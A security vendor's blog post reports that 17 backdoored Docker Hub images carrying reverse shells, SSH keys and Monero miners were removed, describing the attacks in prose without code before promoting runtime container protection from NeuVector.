Docker Security

17 Backdoored Malicious Images Removed From Docker Hub, But Are You Really Any Safer?

By Fei Huang

Docker Hub recently removed 17 backdoored Docker images. This action came after Fortinet reported some cryptomining activity which linked back to these images. Here are some of the interesting facts:

  • Backdoors were hidden inside the MySQL and Tomcat images, which are some of the most popular application containers on Docker Hub.
  • These backdoored images were uploaded as far back as May 2017, and have being used actively for over a year before these backdoors were discovered.
  • Some of these containers were installed more than one million times already, and some affected servers may still be compromised and have been lost from being able to be tracked.
  • It took quite a while before end users realized the malicious activity taking place.
  • The hidden backdoors or malicious programs included: Python Reverse Shell, Bash Reverse Shell, adding the attacker’s SSH key, embedded cryptocoin mining software, and more.

Cryptomining software was embedded in many of these images. Once this software runs, it will download a malicious .jpg file that runs in bash, or it downloads a malicious .sh file and runs in bash then exposes the mining software. Today hackers are using poisoned Docker images to install XMRig-based Monero miners, and it was said this uploader  with username “docker123321” mined 544.74 Monero (about $90,000) using his/her victims’ systems. Today the latest news is that the South Korean cryptocurrency exchange Bithumb was hacked and $30 million in coins was stolen.

Bitcoin mining issues have become more frequent, including the recent Tesla hack using a Kubernetes console. Whether it’s a cryptomining program or SSH backdoor, hackers are stealthily leveraging modern cloud native container technologies to bypass traditional security systems. For example, to build a typical MySQL database application, developers don’t need to reinvent the wheel; they just pull one MySQL container, combine it with some open source software, and build everything together as a container. If such a backdoored MySQL container was selected as the base image, a trojan horse, reverse shell, or a Monero miner now has the opportunity to be launched after this container is deployed into production.

Containers are the basic building block – the foundation – of modern microservice applications. One industry report estimates that over 22,000 container orchestration systems are currently exposed online. Containers are built on top of layers and layers  of base images, tons of open source libraries and packages from different sources. Just one internal malicious container is enough to punch a hole in the application framework, which could then bring down the entire application service or infrastructure.

From a practical security standpoint, many typical precautions would not catch the backdoors. Vulnerability scanning and compliance checks won’t be able to find unknown risks or any new backdoors; hardened platforms won’t be able to address run-time application attacks; perimeter security won’t be able to detect internal malicious behavior in east-west traffic; and endpoint security won’t be able to understand virtualized workloads, making it powerless to detect container exploits. This is why insider attacks have become the most dangerous security issue for enterprises today. When containers are deployed in the cloud with hyper-dynamic scaling, malicious containers also have that many more chances to aid hackers.

A new type cloud-native run-time security solution is needed to address these threats, similar to how it’s handled on a desktop. On an secured desktop environment, downloading an executable file to a local drive will immediately trigger an alarm and malware scanning. But that’s not enough. When any malicious behavior, for example running a backdoor, is detected at runtime, it shouldn’t matter if it’s from a trusted executable file or not. This application should be quarantined or killed. It is critical that runtime behavior monitoring provide the last line of defense. Similar protections should be in place for cloud native applications. Containers  or micro-services need strong run-time protection, especially for deep east-west network protection, because they are running mission critical online services continuously within the datacenter.

From an application security angle, NeuVector believes that a multi-vector container security platform provides the best approach. A strong layer 7 container firewall together with internal and external container behavior monitoring, with the addition of proactive response rules can close the loop to provide complete container protection from development to production.

In fact, several weeks ago a large bank’s CSO told us “Now the most critical security concern I have is the insider threats or attacks.”

About the Author

Fei Huang is the Chief Strategy Officer and Co-Founder of NeuVector
He has over 20 years of experience in enterprise security, virtualization, cloud and infrastructure software. He has held engineering management positions at VMware, CloudVolumes, and Trend Micro and was the co-founder of DLP security company Provilla.

NeuVector, the leader in Container Network Security, delivers highly integrated, automated security for Kubernetes and OpenShift, and is the only next generation container firewall with packet-level interrogation and enforcement.